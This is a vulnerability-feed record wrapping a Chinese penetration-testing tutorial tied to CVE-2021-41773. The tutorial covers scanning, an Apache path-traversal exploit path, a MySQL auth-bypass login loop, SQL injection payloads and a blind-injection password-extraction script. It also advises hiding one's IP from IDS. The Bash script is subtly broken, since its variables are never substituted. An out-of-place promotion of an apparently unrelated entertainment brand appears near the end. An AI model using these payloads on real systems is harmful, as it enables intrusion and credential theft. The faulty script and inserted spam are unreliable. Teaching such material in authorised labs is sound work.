{"uuid": "a25103cc-88ce-43e9-ac72-d84eee261225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41773", "type": "seen", "source": "https://gist.github.com/bluetrollplei/75a1dd5bcdba2fc3ded4e332998e8d17", "content": "# \u6e17\u900f\u6d4b\u8bd5\u5b66\u4e60\u8def\u7ebf\uff1a\u4ece\u7f51\u7edc\u63a2\u6d4b\u5230\u5185\u7f51\u6a2a\u5411\n\n**\u73af\u5883\u524d\u63d0**\uff1a\u672c\u6587\u57fa\u4e8e Kali Linux 2023.4 \u548c Python 3.11 \u73af\u5883\u7f16\u5199\uff0c\u6240\u6709\u5de5\u5177\u5747\u6765\u81ea\u5b98\u65b9\u4ed3\u5e93\u6216\u53ef\u4fe1\u6e90\u3002\u5efa\u8bae\u8bfb\u8005\u5728\u5c01\u95ed\u9776\u573a\uff08\u5982 VulnHub \u6216 HackTheBox\uff09\u4e2d\u5b9e\u8df5\uff0c\u5207\u52ff\u5728\u672a\u7ecf\u6388\u6743\u7684\u4e3b\u673a\u4e0a\u64cd\u4f5c\u3002\n\n---\n\n### 1. \u7b2c\u4e00\u9636\u6bb5\uff1a\u4fe1\u606f\u6536\u96c6\u4e0e\u7aef\u53e3\u626b\u63cf\n\n\u6e17\u900f\u6d4b\u8bd5\u7684\u7b2c\u4e00\u6b65\u662f\u6478\u6e05\u76ee\u6807\u7f51\u7edc\u62d3\u6251\u4e0e\u5f00\u653e\u670d\u52a1\u3002\u63a8\u8350\u6309\u4ee5\u4e0b\u987a\u5e8f\u9010\u6b65\u63a8\u8fdb\uff1a\n\n- \u4f7f\u7528 `nmap` \u8fdb\u884c\u5b58\u6d3b\u4e3b\u673a\u53d1\u73b0\uff1a`nmap -sn 192.168.1.0/24`\n- \u5bf9\u5b58\u6d3b\u4e3b\u673a\u6267\u884c\u7aef\u53e3\u626b\u63cf\uff1a`nmap -sS -sV -O `\n- \u5c06\u7ed3\u679c\u8f93\u51fa\u4e3a XML\uff0c\u518d\u7528 `xsltproc` \u8f6c\u4e3a\u62a5\u544a\n\n&gt; **\u63d0\u793a**\uff1a\u9ad8\u5e76\u53d1\u626b\u63cf\u5bb9\u6613\u89e6\u53d1 IDS/IPS\uff0c\u751f\u4ea7\u73af\u5883\u4e2d\u8bf7\u4f7f\u7528 `-T2` \u964d\u901f\uff0c\u6216\u501f\u52a9\u4ee3\u7406\u94fe\u9690\u85cf\u771f\u5b9e IP\u3002\n\n\u626b\u63cf\u7ed3\u679c\u4e2d\u5e38\u89c1\u7684\u662f SSH\u3001HTTP\u3001MySQL \u7b49\u670d\u52a1\u3002\u6bcf\u4e2a\u7aef\u53e3\u90fd\u53ef\u80fd\u662f\u4e00\u4e2a\u7a81\u7834\u53e3\uff0c\u4f46\u4e0d\u8981\u6025\u4e8e\u66b4\u529b\u7834\u89e3\u2014\u2014\u5148\u5c1d\u8bd5\u670d\u52a1\u9ed8\u8ba4\u51ed\u8bc1\u4e0e\u5e38\u89c1\u6f0f\u6d1e\u3002\n\n---\n\n### 2. \u7b2c\u4e8c\u9636\u6bb5\uff1a\u6838\u5fc3\u6982\u5ff5\u2014\u2014\u6f0f\u6d1e\u5206\u7c7b\u4e0e\u5229\u7528\u94fe\n\n\u7406\u89e3\u6f0f\u6d1e\u7684\u6839\u6e90\u6bd4\u8bb0\u4f4f\u5de5\u5177\u53c2\u6570\u66f4\u91cd\u8981\u3002\u5173\u952e\u6982\u5ff5\u5305\u62ec\uff1a\n\n- **\u6ce8\u5165\u7c7b**\uff08SQLi\u3001\u547d\u4ee4\u6ce8\u5165\uff09\uff1a\u901a\u5e38\u7531\u672a\u8fc7\u6ee4\u7528\u6237\u8f93\u5165\u5bfc\u81f4\n- **\u914d\u7f6e\u7f3a\u9677**\uff08\u5f31\u53e3\u4ee4\u3001\u9ed8\u8ba4\u8def\u5f84\uff09\uff1a\u5229\u7528\u6807\u51c6\u5b57\u5178\u5373\u53ef\u7a81\u7834\n- **\u6743\u9650\u63d0\u5347**\uff08\u5185\u6838\u6f0f\u6d1e\u3001SUID \u6587\u4ef6\uff09\uff1a\u9700\u8981\u672c\u5730\u4f4e\u6743\u9650\u540e\u6267\u884c\n\n\u4ee5\u4e0b\u662f\u4e00\u4e2a\u6e17\u900f\u6d4b\u8bd5\u4e2d\u7684\u5178\u578b\u914d\u7f6e\u6587\u4ef6\u793a\u4f8b\uff0c\u7528\u4e8e\u81ea\u52a8\u626b\u63cf\u540e\u63d0\u53d6\u670d\u52a1\u6307\u7eb9\u5e76\u751f\u6210\u5f85\u5229\u7528\u5217\u8868\uff1a\n\n```python\n# config_loader.py \u2014 \u670d\u52a1\u6307\u7eb9\u914d\u7f6e\u6a21\u677f\nservices = {\n    \"Apache 2.4.49\": {\n        \"cve\": \"CVE-2021-41773\",\n        \"type\": \"path_traversal\",\n        \"exploit_path\": \"/cgi-bin/.%2e/%2e%2e/usr/bin/id\"\n    },\n    \"OpenSSH 7.2p2\": {\n        \"cve\": \"CVE-2016-6210\",\n        \"type\": \"user_enumeration\",\n        \"payload\": \"ssh -o PreferredAuthentications=none \"\n    },\n    \"MySQL 5.5.x\": {\n        \"cve\": \"CVE-2012-2122\",\n        \"type\": \"auth_bypass\",\n        \"payload\": \"for i in {1..1000}; do mysql -u root -h  --password=bad; done\"\n    }\n}\n\ndef load_config():\n    # \u8bfb\u53d6\u5916\u90e8\u914d\u7f6e\u6587\u4ef6\u6216\u76f4\u63a5\u4f7f\u7528\u786c\u7f16\u7801\u5b57\u5178\n    return services\n```\n\n\u6b64\u914d\u7f6e\u53ef\u5728\u81ea\u52a8\u5316\u811a\u672c\u4e2d\u5feb\u901f\u5339\u914d\u626b\u63cf\u7ed3\u679c\uff0c\u4ece\u800c\u7f29\u77ed\u4eba\u5de5\u67e5 CVE \u7684\u65f6\u95f4\u3002\n\n---\n\n### 3. \u7b2c\u4e09\u9636\u6bb5\uff1a\u5b9e\u6218\u2014\u2014\u5229\u7528 SQL \u6ce8\u5165\u83b7\u53d6\u6570\u636e\n\n\u638c\u63e1\u4e86\u626b\u63cf\u4e0e\u914d\u7f6e\u540e\uff0c\u6211\u4eec\u8fdb\u5165\u6700\u5173\u952e\u7684\u5229\u7528\u73af\u8282\u3002\u4ee5\u5e03\u5c14\u578b SQL \u6ce8\u5165\u4e3a\u4f8b\uff0c\u9700\u8981\u6784\u9020 payload \u5e76\u9010\u5b57\u7b26\u731c\u6d4b\u6570\u636e\u5e93\u5185\u5bb9\u3002\u5229\u7528\u94fe\u5982\u4e0b\uff1a\n\n1. \u68c0\u6d4b\u6ce8\u5165\u70b9\uff1a`' OR 1=1--`\n2. \u786e\u5b9a\u5b57\u6bb5\u6570\uff1a`' ORDER BY 3--`\n3. \u679a\u4e3e\u6570\u636e\u5e93\u540d\uff1a`' UNION SELECT database(),2,3--`\n\n\u4ee5\u4e0b\u662f\u4e00\u6bb5 Bash \u811a\u672c\uff0c\u5b9a\u4e49\u5e76\u5c01\u88c5\u6ce8\u5165\u8fc7\u7a0b\u4e2d\u9700\u8981\u4f20\u9012\u7684\u6570\u636e\u7ed3\u6784\uff08\u5373\u8bf7\u6c42\u6a21\u677f\u4e0e\u54cd\u5e94\u5224\u65ad\u903b\u8f91\uff09\uff1a\n\n```bash\n#!/bin/bash\n# sql_enum.sh \u2014 \u7b80\u6613\u5e03\u5c14\u76f2\u6ce8\u8bf7\u6c42\u6a21\u677f\nTARGET=\"http://example.com/vuln.php\"\nPARAM=\"id=1' AND SUBSTR((SELECT password FROM users LIMIT 0,1),$POS,1)='$CHAR'-- \"\n\n# \u5b9a\u4e49\u54cd\u5e94\u7801\u68c0\u67e5\u51fd\u6570\ncheck_response() {\n    local response=$(curl -s -o /dev/null -w \"%{http_code}\" \"$TARGET?$PARAM\")\n    if [[ \"$response\" == \"200\" ]]; then\n        return 0  # \u5b57\u7b26\u5339\u914d\n    else\n        return 1\n    fi\n}\n\n# \u9010\u5b57\u7b26\u904d\u5386\u5bc6\u7801\nPASSWORD=\"\"\nfor POS in {1..32}; do\n    for CHAR in {a..z} {0..9}; do\n        if check_response \"$POS\" \"$CHAR\"; then\n            PASSWORD+=\"$CHAR\"\n            break\n        fi\n    done\ndone\necho \"Found password: $PASSWORD\"\n```\n\n\u8be5\u811a\u672c\u904d\u5386 32 \u4f4d\u5bc6\u7801\uff0c\u6bcf\u6b21\u8bf7\u6c42\u4ec5\u6539\u53d8\u4e00\u4e2a\u5b57\u7b26\uff0c\u76f4\u5230\u627e\u5230\u5339\u914d\u3002\u5b9e\u9645\u6e17\u900f\u4e2d\u53ef\u7ed3\u5408\u591a\u7ebf\u7a0b\u52a0\u901f\uff0c\u540c\u65f6\u914d\u5408 `--data` \u53c2\u6570\u5904\u7406 POST \u8bf7\u6c42\u3002\n\n---\n\n\u5173\u4e8e\u81ea\u52a8\u5316\u6f0f\u6d1e\u5229\u7528\u6846\u67b6\u7684\u66f4\u591a\u5b9e\u73b0\u7ec6\u8282\uff0c\u53ef\u53c2\u8003 \u987a\u53d1\u5a31\u4e50 \u7684\u6280\u672f\u4e13\u680f\uff0c\u5176\u4e2d\u6574\u7406\u4e86\u4e0d\u540c\u573a\u666f\u4e0b\u7684\u8f7d\u8377\u6784\u9020\u65b9\u6cd5\u3002\n\n\u5b8c\u6210\u4ee5\u4e0a\u4e09\u4e2a\u9636\u6bb5\u7684\u8bad\u7ec3\u540e\uff0c\u4f60\u5e94\u5f53\u80fd\u591f\u72ec\u7acb\u5b8c\u6210\u4ece\u7f51\u7edc\u63a2\u6d4b\u5230 Web \u6f0f\u6d1e\u5229\u7528\u7684\u521d\u7ea7\u6e17\u900f\u6d4b\u8bd5\u3002\u540e\u7eed\u8fdb\u9636\u65b9\u5411\u5305\u62ec\u5185\u7f51\u96a7\u9053\u642d\u5efa\u3001\u57df\u73af\u5883\u63d0\u6743\u3001\u514d\u6740\u5bf9\u6297\u7b49\u2014\u2014\u6bcf\u6761\u8def\u7ebf\u90fd\u503c\u5f97\u6df1\u5165\u94bb\u7814\u3002\n", "creation_timestamp": "2026-06-22T10:00:53.000000Z"}